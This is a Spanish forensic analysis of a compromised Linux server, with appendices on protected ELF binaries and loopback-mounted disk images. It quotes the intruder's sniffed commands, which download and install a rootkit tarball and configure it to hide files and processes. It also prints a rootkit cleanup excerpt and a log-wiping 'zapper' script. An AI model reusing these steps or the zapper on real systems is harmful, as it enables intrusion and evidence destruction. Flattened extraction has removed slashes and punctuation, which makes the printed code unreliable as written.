El diacutea 14 del Sep se ejecuta el binario inidentd Este servicio sirve para asociar el nombre de usuario con un intentode conexioacuten a un servicio remoto Esta aplicacioacuten se utiliza por algunas redes de IRC Puede significar que alguienrealizoacute una conexioacuten a un servidor IRC desde la maacutequina comprometida

Tambieacuten tuvieron lugar varias conexiones al servidor POP de correo inpop3d al servicio Berkeley r inrlogindy una conexioacuten al servicio NFS rpcmountd Una vez establecida la conexioacuten se ejecutoacute el comando id (este es unvestigio de un exloit ADM mountd buffer overrun)

El exploit suele crear un shell iniciado a partir del UID del servicio NFS mountd que suele ser UID=0 El intrusoaprovechando del shell crea un directorio vartmpXXXXX y instala varias puertas traseras utilidades para limpiarlos ficheros log y un sniffer Modificacioacuten de algunos ficheros log indican que a la hora de entrada se ejecutaron lasutilidades de eliminacioacuten de huellas (zapper) que restablecieron el tamantildeo del fichero log a 0 bytes

Sep 14 01 202514 13004 a -rwxr-xr-x root bin xusrsbininidentdSep 14 01 222452 15029 a -rwxr-xr-x root bin xusrsbininpop3dSep 15 01 022224 23421 a -rwxr-xr-x root root xusrsbininrlogindSep 15 01 022307 25217 a -rwxr-xr-- root bin xusrsbinrpcmountdSep 15 01 022308 7705 a -rwxr-xr-x root bin xusrbinidSepX 15 01 022422 28550 mac -rwxr-xr-x root root xvartmpXXXXXprogramsfix

37

13508 a -rwxr-xr-x root root xvartmpXXXXXprogramsloginbak

Sep 15 01 022423 13508 mc -rwxr-xr-x root root xvartmpXXXXXprogramsloginbak

1375 mac -rwxr-xr-x root root xvartmpXXXXXprogramsreadme

Sep 15 01 022439 26314 mc -rwxr-xr-x root root xvartmpXXXXXprogramsbindshell

27942 mc -rwxr-xr-x root root xvartmpXXXXXprogramslinsniffer

Sep 15 01 022441 26314 a -rwxr-xr-x root root xvartmpXXXXXprogramsbindshell

27942 a -rwxr-xr-x root root xvartmpXXXXXprogramslinsniffer

Sep 15 01 022443 1126 mc -rwxr-xr-x root root xvartmpXXXXXprogramsclean

XX mac -rwxr-xr-x root root xvartmpXXXXXprogramsimapdis

Sep 15 01 022459 4665 a -rwxr-xr-x root bin xusrbinbasenameSep 15 01 022503 0 mac -rw-r--r-- root root xvarlogcronSep 15 01 022504 0 ma crw-rw-rw- root root xdevttyp3Sep 15 01 022506 0 a -rw-r--r-- root root xvarlogdebugSep 15 01 022508 0 a -rw-r--r-- root root xvarloglastlogSep 15 01 022512 2699 a -rw-r--r-- root root xvarlogsyslogSep 15 01 022515 131968 a -rwxr-xr-x root bin xusrbingawk

5941 a -rwxr-xr-x root bin xusrbinwc0 a -rw-r--r-- root root xvarlogxferlog

1024 mc drwxr-xr-x root root xvartmpXXXXX1126 a -rwxr-xr-x root root xvartmpXXXXXprogramsclean

Sep 15 01 022554 2802 mc -rwxr-xr-x root root xetcrcdrcinet2Sep 15 01 022613 12288 mc -rw-rw-r-- root root xetcpsdevtabSep 15 XX 022626 7416 a -rwxr-xr-x root bin xbinmkdirSep 15 01 022633 15 mc -rw-r--r-- root root xdevXXXXXXXXLSSep 15 01 022640 1024 mc drwxr-xr-x root root xdevXXXXXXXX

25 mc -rw-r--r-- root root xdevXXXXXXXXPSSep 15 01 022837 0 a crw-rw-rw- root root xdevptyp2Sep 15 01 022838 0 mc crw-rw-rw- root root xdevptyp2

0 mac crw-rw-rw- root root xdevttyp2Sep 15 01 022958 0 mc -rw-r--r-- root root xvarloglastlogSep 15 01 023006 0 mc -rw-r--r-- root root xvarlogxferlogSep 15 01 023103 66973 a -rwxr-xr-x root bin xbintelnetSep 15 01 023501 1024 mc drwxr-xr-x root root xvarlog

0 mac -rw-r--r-- root root xvarlogsulogSep 15 01 023516 0 mc -rw-r--r-- root root xvarlogdebug

38

Sep 15 01 023551 0 ma crw-rw-rw- root root xdevptyp3Sep 15 01 023552 0 c crw-rw-rw- root root xdevptyp3

0 c crw-rw-rw- root root xdevttyp3Sep 15 01 032157 1649 m -rw-r--r-- root root xetcpasswdOLDSep 15 01 032224 7317 a -rwxr-xr-x root bin xbinkillallSep 15 01 032240 58605 a -rwxr-xr-x root bin xbinps

25 a -rw-r--r-- root root xdevXXXXXXXXPS

La siguiente actividad aparece en la liacutenea 471 en tcplog (el fichero log del sniffer entre 14 Sep 0346 de la liacutenea 348y 17 Sep 2013 desde la fecha de uacuteltima modificacioacuten del fichero)

IIIIIIIIIIXXXXXXXXXXXX =gt XXXXXXXwashingtonedu [143]

----- [Timed Out]

IIIIIIIIIIXXXXXXXXXXXX =gt XXXXXXXwashingtonedu [513]rootXXXXlinux38400----- [FIN]

IIIIIIIIIIXXXXXXXXXXXX =gt XXXXXXXwashingtonedu [513]rootXXXX-linux38400----- [FIN]

IIIIIIIIIIXXXXXXXXXXXX =gt XXXXXXXwashingtonedu [513]rootr00tlinux38400t----- [FIN]

IIIIIIIIIIXXXXXXXXXXXX =gt XXXXXXXwashingtonedu [23]rsquoP$ 3840038400linuxXXXXX

XXX

39

r00tfingercd vartmpls -alrm -rf bashftp XXXXXXXXXXXXanonymousassget XXXXtgzquituittar zxvf XXXXtgzchmod +x INSTALLls -al

----- [Timed Out]

IIIIIIIIIIXXXXXXXXXXXX =gt GGGGGGGXXXXXXXXXXXXX [23]rsquoP$ 3840038400linuxr00t

pico etcrcdircinetd2rpcmomomomountd[A11mountd[A2pmountd[A[A[C[C[C[C[C[C[C[C[C[C[C[C[C[C[C[B[C[C [B[D[D[B[D[B[D ypico etcinetdconf[6~[6~killall -HUP inetdcat etcinetdconfps auxkill -9 cd devmkdir XXXXXXXXcd XXXXXXXXpico LSXXXXXXXXXXXXXypico PS3 bindshell3 linsnifferyps auxkill -9 2541f

40

----- [Timed Out]

Eso muestra que el intruso estaba editando el fichero de configuracioacuten del rootkit referente al modus operandi de lautilidad ls (llamado LS) para esconder ficherosdirectorios con cadenas XXXXXX yo JJJJJJJJ en sus nombresTambieacuten ha modificado el fichero de configuracioacuten del rootkit para la utilidad ps (llamado PS) para esconder procesosbindshell y linsniffer en sus nombres

La letra y que aparece en las cadenas XXXXXXy y linsniffery son huellas del usuario que nos informan que hasido utilizado el editor pico El comando para guardar las modificaciones en los ficheros y salir en pico es Ctrl-X Siel fichero ha sido modificado de alguna forma el siguiente texto aparece

Save modified buffer (ANSWERING No WILL DESTROY CHANGES)

El usuario entonces debe teclear la letra y para guardar el fichero y salir El sniffer no captura el mensaje delsistema pero siacute el y Las entradas log del sniffer aquiacute muestran que se creoacute el directorio XXXXXXXX doacutende fueroninsertados los ficheros de configuracioacuten del rootkit y editados en siguiente orden Podemos observarlo en el listado demactime posiblemente atando este evento al diacutea 15 del XXX a las 0226

Sep 15 01 022626 7416 a -rwxr-xr-x root bin xbinmkdirSep 15 01 022633 15 mc -rw-r--r-- root root xdevXXXXXXXXLSSep 15 01 022640 1024 mc drwxr-xr-x root root xdevXXXXXXXX

25 mc -rw-r--r-- root root xdevXXXXXXXXPS

El diacutea 16 del Sep alguien crea una copia de seguridad del log del sniffer (snifferlogsave) movieacutendolo al directoriovartmpXXXXprograms Este fichero muestra los intentos de entrada de otros intrusos que tambieacuten acceden alfichero tcplog

Sep 16 01 215534 36088 a -rwxr-xr-x root bin xbinnetstatSep 16 01 215827 1024 mc drwxrwxrwx root root xvartmpSep 16 01 215852 6 a -rw-r--r-- root root xroottemptxtSep 16 01 225033 1024 a drwxr-xr-x root root xvartmpXXXXXSep 16 01 225102 6644 a -rw-r--r-- root root xvartmpXXXXXprogramssnifferlog

Sep 16 01 225716 1024 a drwxr-xr-x root root xvartmpXXXXXprograms

Sep 16 01 233951 1024 mc drwxr-xr-x root root xvartmpXXXXXprograms

4992 mac -rw-r--r-- root root xvartmpXXXXXprogramssnifferlogsave

41

El fichero roottemptxt contiene la uacutenica palabra blah en la liacutenea y una liacutenea en blanco Actualmente no se conocepara que sirvioacute el fichero El diacutea 17 del XXX se modifica la contrasentildea de alguacuten usuario se crea un fichero de copiade seguridad

Sep 17 01 124450 153384 a -rws--x--x root bin xusrbinpasswdSep 17 01 124505 1649 mc -rw-r--r-- root root xetcpasswd

1649 c -rw-r--r-- root root xetcpasswdOLD

A continuacioacuten el diacutea 17 del Sep alguien accede al servidor a traveacutes de telnet Por lo visto se obtiene el UIDdel usuario lp Modificaciones en devconsole indican que ocurrioacute tambieacuten una entrada de usuario en la consolafiacutesica Fechas de modificacioacuten han sido cambiadas en la aplicacioacuten de los logs del sniffer etc__tcplog y tambieacutenvartmpXXXXXprogramssnifferlog que significa que las aplicaciones han sido desactivadas

Sep 17 01 201344 296 a -rw-r--r-- root root xetchostsdeny40907 a -rwxr-xr-x root bin xusrsbintcpd

Sep 17 01 201345 40685 a -rwxr-xr-x root bin xusrsbinintelnetd25 mc -rw-rw-r-- root root xvarspoollp1status

Sep 17 01 201346 0 m crw-rw-rw- root root xdevconsole0 a crw-rw-rw- root root xdevptyp00 m crw-rw-rw- root root xdevttyp0

18476 mc -rw-r--r-- root root xetc___tcplog6644 mc -rw-r--r-- root root xvartmpXXXXXprogramssnifferlog

Sep 17 01 201350 0 c crw-rw-rw- root root xdevconsole0 c crw-rw-rw- root root xdevptyp00 c crw-rw-rw- root root xdevttyp0

El diacutea 18 de Sep se ejecuta la aplicacioacuten sendmail Las huellas en el sistema de ficheros nos muestran queposiblemente se envioacute a una direccioacuten de correo electroacutenico el fichero log del sniffer tcplog

Sep 18 01 053026 164060 a -r-sr-Sr-x root bin xusrsbinsendmail

Aparte de analizar el sistema de ficheros con detenimiento se han recuperado todos los ficheros eliminados utilizandola utilidad unrm de TCT Una examen de los ficheros recuperados mostroacute eliminacioacuten de algunos ficheros log yscripts El siguiente es una parte del script de instalacioacutenlimpieza que estaacute incluido con el rootkit

cp vartmpimap-d vartmpXXXXXprogramsimapdisrm -rf vartmpimap-decho 6 cleaning logs

42

cd vartmpXXXXXcp vartmpclean vartmpXXXXXprogramscleanrm -rf vartmpcleanvartmpXXXXXprogramsclean XXXXXXX 1gtdevnull 2gtdevnullvartmpXXXXXprogramsclean XXXXXX 1gtdevnull 2devnullvartmpXXXXXprogramsclean XXXX 1gtdevnull 2gtdevnullecho rootkit completeecho rember to disable imapdecho EOF

El siguiente es una parte del fichero log que muestra intentos de conexioacuten de intrusos

Sep 11 152611 XXXX infingerd[864] connect from XXX-XXX-14XXXXXXXXXXXXSep 11 152611 XXXX intelnetd[865] connect from XXX-XXX-14XXXXXXXXXXXXSep 11 152611 XXXX telnetd[865] ttloop peer died Try againSep 11 152612 XXXX inpop3d[866] connect from XXX-XXX-14XXXXXXXXXXXXSep 11 152613 XXXX intelnetd[867] connect from XXX-XXX-14XXXXXXXXXXXX

Sep 12 053620 XXXX intelnetd[1126] connect from DDDDDDXXXXXXXXX

Sep 12 110152 XXXX intelnetd[1213] connect from EEEEEEEXXXXXXSep 12 110221 XXXX su XXXXX on devttyp1

Sep 12 110428 XXXX inrlogind[1229] connect from CCCCCCCCXXXXXXXXXXXSep 12 110444 XXXX inrlogind[1230] connect from CCCCCCCCXXXXXXXXXXX

Sep 12 110857 XXXX su XXXXX on devttyp1Sep 12 111119 XXXX su XXXXX on devttyp1

Sep 12 113305 XXXX intelnetd[1290] connect from AAAAAAXXXXXXXXXSep 12 113316 XXXX login 1 LOGIN FAILURE FROM AAAAAAXXXXXXXXX XXXSep 12 113321 XXXX login 2 LOGIN FAILURES FROM AAAAAAXXXXXXXXX XXX

Sep 12 113402 XXXX su XXXXX on devttyp1Sep 12 114152 XXXX wuftpd[1327] connect from BBBBBBBXXXXXXXXXSep 12 114157 XXXX ftpd[1327] USER XXXXXSep 12 114159 XXXX ftpd[1327] PASS passwordSep 12 114200 XXXX ftpd[1327] SYSTSep 12 114201 XXXX ftpd[1327] CWD tmpSep 12 114206 XXXX ftpd[1327] TYPE ImageSep 12 114206 XXXX ftpd[1327] PORTSep 12 114206 XXXX ftpd[1327] STOR mountdSep 12 114208 XXXX ftpd[1327] QUITSep 12 114208 XXXX ftpd[1327] FTP session closedSep 12 120025 XXXX intelnetd[1342] connect from AAAAAAXXXXXXXXX

43

Sep 12 120025 XXXX telnetd[1342] ttloop peer died Try again

Sep 12 125437 XXXX inrlogind[1358] connect from CCCCCCCCXXXXXXXXXXX

Sep 12 195330 XXXX intelnetd[1459] connect from XXXX-XX-118XXXXXXXXXXXX

Sep 12 234732 XXXX intelnetd[1525] connect from XXXXXXXXXXXXXXXXXXXXXXXSep 12 234741 XXXX login 1 LOGIN FAILURE FROM XXXXXXXXXXXXXXXXXXXXXXX XXXXXSep 12 234855 XXXX su XXXXX on devconsoleSep 13 001238 XXXX intelnetd[1569] connect from HHHHHHXXXXXXXXXXXXXXXXXXSep 13 001254 XXXX su XXXXX on devconsole

Sep 13 064612 XXXX intelnetd[1673] connect from XXXXXXXXXXSep 13 070801 XXXX intelnetd[1679] connect from GGGGGGGXXXXXXXXXXXXXXXXXSep 13 070814 XXXX su XXXXX on devconsole

Sep 13 083005 XXXX intelnetd[1728] connect from FFFFFFFXXXXXXXXXXXXXXXXXSep 13 083022 XXXX intelnetd[1731] connect from HHHHHHXXXXXXXXXXXXXXXXXXSep 13 083234 XXXX intelnetd[1733] connect from FFFFFFFXXXXXXXXXXXXXXXXX

Sep 13 095842 XXXX su XXXXX on devconsole

El siguiente ejemplo es un extracto de script zapper que elimina las huellas dejadas por el intruso o restablece eltamantildeo de los ficheros log a 0 bytes No se sabe si existe una copia de este script en el sistema de ficheros activo

1 binbash

WHAT=$(binls -F varlog | grep -v | grep -v | grep -v tgz | grep -v gz | grep -v tar | grep -v )

for file in $WHATline=$(wc -l varlog$file | awk -F rsquo rsquo rsquoprint $1rsquo)echo -n Cleaning $file ($line lines)grep -v $1 varlog$file gt newmv -f new varlog$filenewline=$(wc -l varlog$file | awk -F rsquo rsquo rsquoprint $1rsquo)let linedel=$(($line-$newline))echo $linedel lines removed

doneecho

44

Los siguientes cadenas de texto pertenecen al fichero wtmp (leiacutedo por la utilidad last) Las horas no son obvias aquiacutepero los nombres de hosts siacute lo son

ftp4264ttyp13XXXXXXXXXXXXXXXXXttyp1Pftp46263XXXXXXXXXXXXXXXXXttyp13XXXXXXXXXXXXXXXXXftp4626ttyp1Pftp46393XXXXXXXXXXXXXXXXXXPftp4639Pftp46533XXXXXXXXXXXXXXXXXXftp4653Pftp47433XXXXXXXXXXXXXXXXXXXXX

11 Apeacutendice A - Meacutetodos de Proteccioacuten de Binarios

111 Introduccioacuten

Los sistemas operativos UnixLinux BSD se consideran por los especialistas como avanzados seguros y establesdebido a su disentildeo de arquitectura y gestioacuten de procesos

Las distribuciones actuales tienen soporte para varios tipos de ejecutables como AOUT (formato original de Unix)COFF (Unix System V) ECOFF (MipsAlfpha) XCOFF (IBM RS6000 AIX) y finalmente ELF (el sucesor de COFFque ofrece muacuteltiples secciones y valores posibles de 32 o 64 bits) Mientras que los sistemas operativos win32 tienenMZ (dos) NE (Windows 3xx) y PE (Win9xNT)

La popularidad y el enfoque comercial de sistemas win32 obligoacute a las empresas desarrolladoras de software invertirfondos y horas en proteccioacuten de sus aplicaciones para evitar obligar a los usuarios comprar el software Desde el

45

principio los especialistas en ingenieriacutea inversa conseguiacutean por placer o por negocio evitar los meacutetodos de proteccioacutende los ejecutables que bajo win32 ya entonces teniacutean muacuteltiples teacutecnicas de proteccioacuten En actualidad un ficheroejecutable bajo Windows (PE) puede estar perfectamente cifrado empaquetado ofuscado y wrappeado al visa versa ala hora de ejecucioacuten lo que muestra la evolucioacuten de un binario simple haciacutea un ejecutable propiamente protegido loque proporciona la seguridad a la empresa desarrolladora que su software no podraacute ser utilizado de forma ilegal porlo menos por el puacuteblico general

Y lo uacutenico (que generalmente se conoce) que podemos hacer actualmente con un binario ELF es quitarle la tabla desiacutembolos o en otras palabras strippearlo que que no ofrece ninguacuten tipo de proteccioacuten

Existen pocas herramientas de proteccioacuten son experimentales y se conocenutilizan solo por los hackers de nivel altomedio-alto A la hora de realizar un anaacutelisis forense nos encontraremos con binarios que el intruso ha ido dejandoen el sistema y necesitariacuteamos saber las funciones de cada uno de ellos teniendo en cuenta que ejecucioacuten de binariosdesconocidos puede provocar un desastre si no estamos seguros de la funcioacuten de los mismos

112 Meacutetodos de Proteccioacuten

En las investigaciones rutinarias de casos de defacements de paacuteginas web o de utilizacioacuten de la maacutequina compro-metida como cluster DDoS no es frecuente encontrar binarios protegidos ya que la mayoriacutea de herramientas estaacutencirculando por la red de forma abierta Mientras que en los compromisos de sistemas importantes como de Ban-cos Liacuteneas Aeacutereas o Universidades el nivel de intruso es tecnoloacutegicamente y intelectualmente superior por lo tantotambieacuten lo son sus herramientas Hasta que no sepamos el propoacutesito de cada uno de las herramientas del intruso nopodremos concluir la investigacioacuten con eacutexito

Podemos encontrar siguientes meacutetodos de proteccioacuten de binarios en este caso seguacuten el nivel del atacante y tipo deherramienta utilizada Puede que se utilicen de forma individual o de forma combinada para complicar el trabajo delinvestigador

bull UPX [3] - Ultimate Packer for eXecutables los intrusos con un nivel de conocimientos bajo o medio utilizancompresor de ejecutables UPX como una herramienta de proteccioacuten de sus aplicaciones Este software tienesoporte para reducir el tamantildeo de binarios de tipo dosexe doscom dossys djgpp2coff watcomle elf y etc atraveacutes de las funciones de la libreriacutea UCL escrita en ANSI C por lo tanto ofuscando su contenido a nivel superficial

Si observamos el output del comando strings vemos que es faacutecilmente detectable por la cadena de texto $Id UPX122 Copyright (C) 1996-2002 the UPX Team All Rights Reserved $ en caso de que UPX no ha sido modificadoEn otros casos cuando el intruso puso su empentildeo en modificar la fuentes de UPX para confundir (aun mas) aladministrador el binario sigue perfectamente reconocible observando las cadenas tmpupxAAAAAAAAAAAprof etc en el fichero Para desempaquetar el binario debemos instalarnos UPX y ejecutar el siguientecomando

46

[ervinactivalinkcom ervin]$ upx -d ltfichero empaquetadogt

bull BurnEye [4] - Este tipo de proteccioacuten se utiliza por los intrusos con nivel de conocimientos medio medio-altoque conocen la estructura de binarios ELF BurnEye ofrece 3 niveles de proteccioacuten de binarios ELF por capasofuscacioacuten de coacutedigo cifrado de aplicacioacuten a traveacutes de contrasentildea y teacutecnica de OS fingerprinting

Nivel 1 El primer nivel de proteccioacuten realiza un cifrado del binario y utiliza la teacutecnica de inyeccioacuten de coacutedigodentro del binario ELF El coacutedigo es un motor de descifrado que a la hora de ejecutar el programa v

descifra su contenido y lo ejecuta Podemos detectar si el binario estaacute protegido con el primer nivel de BurnEye si su output de strings contiene la cadena TEEE burneye - TESO ELF Encryption Engine En caso de que el intruso haya modificado las fuentes de BurnEye y no se observe la cadena de texto en el output se puede detectar ese nivel de proteccioacuten a traveacutes de GDB Esa proteccioacuten implementa ademaacutes una trampa para debuggers que utilizan llamada de sistema ptrace()

[ervinactivalinkcom dev]$ gdb ltbinario encriptado con burneye nivel 1gt GNU gdb 52 Copyright 2002 Free Software Foundation Inc [] This GDB was configured as i686-pc-linux-gnu(no debugging symbols found) (gdb) r Starting program devvalidate_MoD warning shared library handler failed to enable breakpoint

Program received signal SIGTRAP Tracebreakpoint trap 0x053714c7 in () (gdb)

Normalmente el SIGTRAP en binarios protegidos con BurnEye suele estar situado en 0x053714c7 Ese nivel de proteccioacuten de binarios puede ser superado realizando un dump de memoria con herramienta memdump y extraccioacuten manual del motor de cifrado (Ver [5] para maacutes informacioacuten)

Nivel 2 El segundo nivel de proteccioacuten de binarios es maacutes completo que el anterior Su funcionamiento utiliza la misma teacutecnica de inyeccioacuten de coacutedigo dentro de ELF y cifrado (wrapping) Soacutelo que en este caso el motor que se inserta dentro del binario tiene capacidad de cifrar y descifrar informacioacuten realizando una comprobacioacuten por contrasentildea como clave de cifrado (SHA1) Una vez la clave ha sido aceptada el nivel de control utiliza RC4 para descifrar el binario original

Para detectar la diferencia entre el nivel 1 y nivel 2 hay que ejecutar el programa Por lo tanto hay que asegurarse que no es ni sGID sUID Si lo es hay que crear un usuario con privilegios muy limitados cambiar la pertenencia del fichero y quitarle sGID y sUID A continuacioacuten se puede intentar obtener el listado de libreriacuteas dinaacutemicas utilizadas por el binario

[ervinactivalinkcom dev]$ ldd void ldd libld-linuxso2 exited with unknown exit code (139)

Si se produce el output similar entonces queda confirmado que el binario estaacute cifrado y la uacutenica opcioacuten que tenemos es intentar ejecutarlo pero soacutelo desde la cuenta del usuario con menos privilegios por razones de seguridad

[nooneactivalinkcom dev]$ void password invalid key

Una vez ejecutado el fichero vemos que nos solicita la contrasentildea y si pulsamos Enter nos informa que la clave no es correcta Ahora estamos seguros que el fichero estaacute cifrado con BurnEye con proteccioacuten de Nivel 2 Este nivel de proteccioacuten es faacutecil de romper como el anterior seraacute necesario utilizar las teacutecnicas de debugging avanzadas y buen conocimiento de ensamblador [6] Se aconseja utilizar un debugger que no utilice llamada de sistema ptrace() para intentar saltar la proteccioacuten de binarios protegidos [7] La interaccioacuten entre el motor de cifrado con el binario original es todaviacutea deacutebil por lo tanto teoacutericamente se puede utilizar teacutecnicas de unwrapping pero si la contrasentildea ha sido elegida bien por el intruso el binario es casi indescifrable

Nivel 3 Esta capa de proteccioacuten tiene un modo de funcionamiento diferente a los niveles anteriores Este nivel asegura que el binario no pueda ser ejecutado en otro sistema que no sea el de maacutequina doacutende ha sido encontrado (utilizado) El binario incluye internamente un sello del equipo permitido Y cada vez que se ejecuta el motor de cifrado interno busca el sello de la maacutequina y si no coincide con el fingerprint almacenado dentro del algoritmo no permite la ejecucioacuten de la aplicacioacuten El sello es uacutenico en cada maacutequina que se calcula a traveacutes de un algoritmo propio desarrollado por TESO utiliza valores sysinstall procpci proccpu procmem procroute procpartitions (proc en general) para generar un uacutenico sello (fingerprint) Los binarios protegidos con eacuteste nivel de BurnEye heredan las mismas pruebas que los niveles anteriores output strings breakpoint trap etc

Si estamos estudiando el binario doy por sentado que nos encontramos en una estacioacuten de anaacutelisis y no en el equipo comprometido por lo tanto si intentamos ejecutar la aplicacioacuten protegida con este nivel de BurnEye en un entorno seguro (no sUID no sGID y como usuario con privilegios limitados) obtendremos el siguiente output

[chrootedbetaactivalinkcom chrooted] output invalid fingerprint Es casi imposible de obtener el binario original si no nos encontramos en la maacutequina con un sello reconocido por el ejecutable ya que el fichero original estaacute cifrado y se descifra con el stream cipher RC4

47

bull Elfe [8] - Este tipo de proteccioacuten se utiliza por los intrusos con nivel de conocimientos medio medio-alto queconocen la estructura de binarios ELF Elfe ofrece 1 nivel de proteccioacuten de binarios ELF a traveacutes de RC4 Atraveacutes de esta herramienta se puede especificar cual de las secciones del binario (text data rodata) se quiereproteger Esa aplicacioacuten funciona soacutelo bajo la arquitectura x86 y uacutenicamente puede proteger binarios producidospor el compilador gcc y stripeados tiene soporte para binarios linkados de forma estaacutetica asiacute como dinaacutemica

Comparando esa herramienta con las anteriores podemos decir que ofrece menor nivel de proteccioacuten que BurnEye y mayor que UPX Se puede detectar faacutecilmente que el binario estaacute cifrado con Elfe ya que el output de la utilidad strings informa en las uacuteltimas liacuteneas un texto similar

password Done Returning to program QZ^amp Tambieacuten podemos encontrar en el output cadenas de texto de las secciones que no han sido cifradas ya que Elfe se limita a cifrar soacutelo text data rodata maacuteximo y si no se especifica soacutelo la seccioacuten text Las herramientas strace objdump de la coleccioacuten de herramientas binutils nos podraacuten ser de utilidad Si se ejecuta la aplicacioacuten sin saber la contrasentildea correcta la aplicacioacuten puede colgarse o producir SIGSEGV Segmentation Fault

Aunque el meacutetodo de proteccioacuten no implementa deteccioacuten de debuggers el nivel de dificultad de descifrado de binarios protegidos con Elfe es similar al 2ordm y 3ordm nivel de BurnEye (Para maacutes informacioacuten ver [9])

Hemos podido observar que las utilidades como BurnEye y Elfe tienen una mayor capacidad de ocultacioacuten delpropoacutesito del binario Si el intruso ha utilizado estas herramientas de forma correcta y precabida seriacutea casi imposiblede saber el objetivo del fichero El decifrado es posible pero complejo que necesita conocimientos avanzados deingenieriacutea inversa y anaacutelisis criptograacutefico

12 Apeacutendice B - Sistema de Ficheros Loopback de LinuxEl kernel de Linux tiene soporte vara muacuteltiples sistemas de fichero (ver man mount) tales como adfs affs autofscoda coherent devpts efs ext ext2 hfs hpfs iso9660 minix msdos ncpfs nfs ntfs proc qnx4 romfs smbfs sysvudf ufs umsdos vfat xenix xiafs

Los sistemas de ficheros coherent sysv y xenix son ideacutenticos y en el futuro no se mencionaraacuten los tres sino se limitaraacutea utilizar el nombre sysv

El soporte de una variedad de sistemas de ficheros por el kernel de GNULinux nos ofrece una buena plataformade anaacutelisis ya que no tendremos que cambiar ni de maacutequina ni de sistema operativo para estudiar un sistemacomprometido que no sea GNULinux

Linux tambieacuten tiene soporte para dispositivos loopback que permiten montar un sistema de ficheros dentro delfichero Este meacutetodo se utiliza dentro de los discos arrancables CD-ROMs auto-ejecutables sistemas de ficherocifrados para laptops etc Para maacutes informacioacuten podemos leer siguiente documentacioacuten de losetup(8) mount(8) [30]

Los dispositivos loop en las versiones anteriores de GNULinux eran 8 por defecto y se utilizaban de forma indirectapor el comando mount mientras que actualmente son 16 Estos dispositivos se encuentran en el directorio dev juntocon el resto de dispositivos

48

[staticlowershaftactivalink dev]$ ls -l devloopbrw-rw---- 1 root root 7 0 Apr 11 1625 devloop0brw-rw---- 1 root root 7 1 Apr 11 1625 devloop1brw-rw---- 1 root root 7 10 Apr 11 1625 devloop10brw-rw---- 1 root root 7 11 Apr 11 1625 devloop11brw-rw---- 1 root root 7 12 Apr 11 1625 devloop12brw-rw---- 1 root root 7 13 Apr 11 1625 devloop13brw-rw---- 1 root root 7 14 Apr 11 1625 devloop14brw-rw---- 1 root root 7 15 Apr 11 1625 devloop15brw-rw---- 1 root root 7 2 Apr 11 1625 devloop2brw-rw---- 1 root root 7 3 Apr 11 1625 devloop3brw-rw---- 1 root root 7 4 Apr 11 1625 devloop4brw-rw---- 1 root root 7 5 Apr 11 1625 devloop5brw-rw---- 1 root root 7 6 Apr 11 1625 devloop6brw-rw---- 1 root root 7 7 Apr 11 1625 devloop7brw-rw---- 1 root root 7 8 Apr 11 1625 devloop8brw-rw---- 1 root root 7 9 Apr 11 1625 devloop9

Combinar dos utilidades como dd y mount es maacutes faacutecil de lo que puede pensar Puede hacer una prueba copiandoimaacutegenes de cada particioacuten con dd del sistema de ficheros de la viacutectima los copia a su sistema y les monta utilizandodispositivos loopback Para nuestro ejemplo las particiones fueron obtenidos de un disco duro interno de una SunSPARC ejecutando Solaris 25

ls -l c0t3d0-rw-r--r-- 1 root root 189399040 Sep 14 1244 c0t3d0s0dd-rw-r--r-- 1 root root 171991040 Sep 14 1315 c0t3d0s1dd-rw-r--r-- 1 root root 220733440 Sep 14 1257 c0t3d0s3dd-rw-r--r-- 1 root root 269475840 Sep 14 1251 c0t3d0s6dd-rw-r--r-- 1 root root 515973120 Sep 14 1348 c0t3d0s7dd

Puede montar la imagen en modo solo lectura especificando que es un sistema de ficheros UFS de tipo sun y quedeseamos utilizar un dispositivo loopback de siguiente manera

mount -o roloopufstype=sun -t ufs c0t3d0s0dd t

Desde aquiacute podemos determinar donde apuntaban el resto de las particiones buscando el dispositivo en el sistema deviacutectima etcvfstab (montado en este ejemplo bajo t)

grep c0t3d0 tetcvfstab

49

devdskc0t3d0s1 - - swap - no -devdskc0t3d0s0 devrdskc0t3d0s0 ufs 1 no -devdskc0t3d0s6 devrdskc0t3d0s6 usr ufs 1 no -devdskc0t3d0s3 devrdskc0t3d0s3 var ufs 1 no -devdskc0t3d0s7 devrdskc0t3d0s7 exporthome ufs 2 yes -

Ahora podemos montar otras particiones de siguiente manera

mount -o roloopufstype=sun -t ufs c0t3d0s3dd tvar mount -o roloopufstype=sun -t ufs c0t3d0s6dd tusr mount -o roloopufstype=sun -t ufs c0t3d0s7dd texporthome

Ahora el contenido del sistema de ficheros es visible a las herramientas forenses de TCT como por ejemplo grave-robber

dfFilesystem 1k-blocks Used Available Use Mounted on

xc0t3d0s0dd 173791 68725 87696 44 txc0t3d0s3dd 202423 26148 156035 14 tusrxc0t3d0s6dd 246743 197592 24481 89 tvarxc0t3d0s7dd 473031 111506 314225 26 texporthome

mount

xc0t3d0s0dd on t type ufs (roloop=devloop0ufstype=sun)xc0t3d0s3dd on tusr type ufs (roloop=devloop1ufstype=sun)xc0t3d0s6dd on tvar type ufs (roloop=devloop2ufstype=sun)xc0t3d0s7dd on texporthome type ufs (roloop=devloop3ufstype=sun)

121 Conclusiones

Con el transcurso de tiempo las empresas que manejan la informacioacuten privilegiada han aprendido que para asegurarla integridad privacidad de informacioacuten no se debe ahorrar en sistemas de seguridad planes de contingencia Losadministradores sin previa experiencia de anaacutelisis forense no deben precipitarse a la hora de reestablecer el servidorparcheandolo rapidamente para que esteacute operativo lo antes posible ya que soacutelo un anaacutelisis forense exhaustivo puededeterminar el alcanze del incidente y responder a todas las preguntas que surgen tras sufrir un ataque

50

13 Referencias

1Anaacutelisis Sistemas Forenses - Este documento se basa en el trabajo de David Dittrich de la Universidad deWashington

2RootKit - Un rootkit es un conjunto de herramientas que garantizan el acceso posterior al sistema facilitan elpotencial acceso a otros servidores facilitan el borrado de huellas del atacador intentan esconder al atacante delos usuarios legiacutetimos del sistema

3Ataque de Limpieza - Es un tipo de ataque informaacutetico local o remoto cuyo objetivo es la eliminacioacuten de laspruebas de compromiso anterior El resultado de este tipo de ataques puede ser un destrozo de informacioacuten enun equipo anteriormente comprometido o de un forense informaacutetico El atacante intenta llevar acabo un borradode informacioacuten masivo utilizando las teacutecnicas de eliminacioacuten de informacioacuten por sobre escritura si se trata de unataque remoto yo deformacioacuten magneacutetica y des-magnetizacioacuten de medios si se trata de un ataque local

4UPX - Ultimate Packer for eXecutables (httpupxsourceforgenet) Una herramienta para comprimir elejecutable a fin de reducir su tamantildeo

